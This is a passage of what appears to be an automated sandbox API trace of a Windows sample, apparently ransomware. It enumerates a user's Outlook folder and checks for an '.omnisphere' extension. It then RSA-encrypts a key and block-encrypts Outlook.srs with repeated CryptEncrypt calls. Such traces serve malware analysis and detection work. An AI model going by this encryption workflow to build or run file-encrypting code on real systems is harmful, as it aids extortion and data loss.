pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Outlook" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook" [0116.661] GetProcessHeap () returned 0x1600000 [0116.661] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163fe00 [0116.661] PathCombineW (in: pszDest=0x163fe00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\*" [0116.661] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0116.662] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0116.662] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac358392, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xac358392, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xac4aebd0, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0116.662] GetProcessHeap () returned 0x1600000 [0116.662] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8a) returned 0x167b448 [0116.662] PathCombineW (in: pszDest=0x167b448, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook", pszFile="Outlook.srs" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" [0116.662] StrStrW (lpFirst=".omnisphere", lpSrch=".srs") returned 0x0 [0116.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0116.663] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=2560) returned 1 [0116.663] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0116.663] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0d770, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesRead=0x3e0dcb8*=0x524, lpOverlapped=0x0) returned 1 [0116.665] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x28c [0116.665] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0116.665] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.665] CloseHandle (hObject=0x28c) returned 1 [0116.666] GetTickCount () returned 0x115d2ae [0116.666] GetTickCount () returned 0x115d2ae [0116.666] GetTickCount () returned 0x115d2ae [0116.666] GetTickCount () returned 0x115d2ae [0116.666] GetTickCount () returned 0x115d2ae [0116.666] GetTickCount () returned 0x115d2ae [0116.666] GetTickCount () returned 0x115d2ae [0116.666] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] GetTickCount () returned 0x115d2ae [0116.667] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1668708) returned 1 [0116.668] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x1639b28) returned 1 [0116.668] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0116.668] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.668] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0116.668] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x28c [0116.669] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0116.669] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1668240) returned 1 [0116.670] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x1639b68) returned 1 [0116.670] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.670] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.671] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.672] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0116.673] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: 